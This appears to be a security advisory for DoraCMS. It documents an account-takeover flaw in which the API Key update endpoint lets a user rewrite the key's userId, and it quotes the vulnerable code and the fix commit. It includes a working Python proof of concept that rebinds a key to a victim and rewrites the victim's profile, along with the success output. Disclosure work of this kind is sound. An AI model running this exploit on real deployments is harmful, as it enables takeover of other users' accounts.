DoraCMS Vulnerability Report
Software: DoraCMS
Developer or vendor: doramart
Code repository: https://github.com/doramart/DoraCMS
1. Account Takeover by Rewriting the userId Bound to an API Key
| Brief description: | An attacker can rebind their API Key to the victim’s userId and then call the API as the victim. |
|---|---|
| Affected versions: | 3.0.x to 3.1 (commit 70cf0fc) |
| Preconditions: | The attacker holds an account. |
| Fix: | DoraCMS commit ede38eb0 |
Root Cause
The API Key update endpoint writes the request body into the database as a whole and does not restrict which fields can be updated. The controller passes ctx.request.body to the service layer unchanged:
// server/app/controller/api/apiKey.js:134-147 commit 70cf0fc6dba
async update() {
const { ctx } = this;
const { id } = ctx.params;
const userId = ctx.requireCurrentUserId();
const data = ctx.request.body;
if (!userId) {
throw RepositoryExceptions.auth.sessionExpired();
}
const apiKey = await ctx.service.apiKey.updateApiKey(userId, id, data);
ctx.helper.renderSuccess(ctx, { data: apiKey });
}
The service layer only checks that the key belongs to the current user, and then builds the update object from every field of the request body:
// server/app/service/apiKey.js:205-230 commit 70cf0fc6dba
async updateApiKey(userId, id, data) {
// 验证API Key存在且属于该用户
const existingApiKey = await this.detail(userId, id);
...
const updateData = {
...data,
updatedAt: new Date(),
};
return await this.repository.update(id, updateData);
}
Every field of the request body reaches $set, including userId. The repository layer validates only the format of name, permissions, ipWhitelist and status, and leaves userId unchecked:
// server/app/repository/adapters/mongodb/ApiKeyMongoRepository.js:175-206 commit 70cf0fc6dba
_customPreprocessForUpdate(data) {
if (data.name && data.name.length > 100) {
throw this.exceptions.apiKey.nameTooLong(100);
}
if (data.permissions && !Array.isArray(data.permissions)) {
throw this.exceptions.apiKey.invalidPermissions();
}
if (data.ipWhitelist && !Array.isArray(data.ipWhitelist)) {
throw this.exceptions.apiKey.invalidIpWhitelist();
}
if (data.status && !['active', 'disabled'].includes(data.status)) {
throw this.exceptions.apiKey.invalidStatus(data.status);
}
...
return data;
}
An attacker can therefore submit a userId field and bind the API Key to another user. With that API Key, the attacker can then read and modify the victim’s profile, and publish and delete content in the victim’s name.
Reproduction Environment
The lab uses the Docker compose deployment shipped with the repository, in MongoDB mode:
git clone https://github.com/doramart/DoraCMS.git
cd DoraCMS
cat > .env <<'EOF'
COMPOSE_PROFILES=mongodb
DATABASE_TYPE=mongodb
APP_KEYS=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
SESSION_SECRET=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
ENCRYPT_KEY=cccccccccccccccccccccccccccccccc
JWT_SECRET=dddddddddddddddddddddddddddddddd
ADMIN_INIT_TOKEN=initme123
EOF
docker compose -p doracms0day --profile mongodb up -d --build
After the service starts, create two ordinary users, one as the attacker and one as the victim.
Reproduction
Log in to the user center as the attacker and open the API Key page:

Click the create button, set the name to demo-key, set the permission URL to /api/v1/users/me with method GET, and the newly created key returns its key and secret:

Next, change the userId of the key to the victim demovictim, then sign requests with HMAC-SHA256 using the secret of that key to read and modify the victim’s profile:
import httpx, hmac, hashlib, time, json
BASE = "http://localhost:8080"
client = httpx.Client(base_url=BASE, timeout=20)
attacker_token = client.post(
"/api/v1/auth/login",
json={"email": "demoattacker@local.test", "password": "Passw0rd!"},
).json()["data"]["token"]
auth = {"Authorization": "Bearer " + attacker_token}
key_info = client.post(
"/api/v1/user/api-keys",
headers=auth,
json={
"name": "demo-key",
"permissions": [
{"url": "/api/v1/users/me", "method": "GET", "enabled": True},
{"url": "/api/v1/users/me", "method": "PUT", "enabled": True},
],
},
).json()["data"]
key_id, key, secret = key_info["id"], key_info["key"], key_info["secret"]
print("key:", key)
print("reassign:", client.put(
f"/api/v1/user/api-keys/{key_id}", headers=auth, json={"userId": "demovictim"}
).status_code)
def call(method, path, body=None):
payload = json.dumps(body, separators=(",", ":")) if body else "{}"
ts = str(int(time.time() * 1000))
sig = hmac.new(secret.encode(), f"{ts}{method}{path}{payload}".encode(), hashlib.sha256).hexdigest()
return client.request(
method, path,
headers={"X-API-Key": key, "X-API-Timestamp": ts, "X-API-Signature": sig,
"Content-Type": "application/json"},
content=payload if method != "GET" else None,
)
print("read victim:", call("GET", "/api/v1/users/me").status_code)
print("write victim:", call("PUT", "/api/v1/users/me", {"name": "Owned By Attacker"}).status_code)
The output is:
key: c86c76e3-606f-4952-b66b-80f6d1d3f93c
reassign: 200
read victim: 200
write victim: 200
The response to the update shows that userId now points at the victim:
{"status":200,"data":{"rateLimit":{"requests":100,"period":3600},"_id":"_MVCl4mLCD","id":"_MVCl4mLCD",
"userId":"demovictim","name":"demo-key","key":"930d22d8-7bb8-4281-9272-b63870b78505",
"permissions":[{"url":"/api/v1/users/me","method":"GET","enabled":true},...
The name in the victim’s profile then becomes the value written by the attacker:
docker exec -i eggcms-mongodb mongosh -u admin -p admin123 --authenticationDatabase admin doracms3 \
--eval 'print(db.users.findOne({_id:"demovictim"},{name:1}).name)'
Owned By Attacker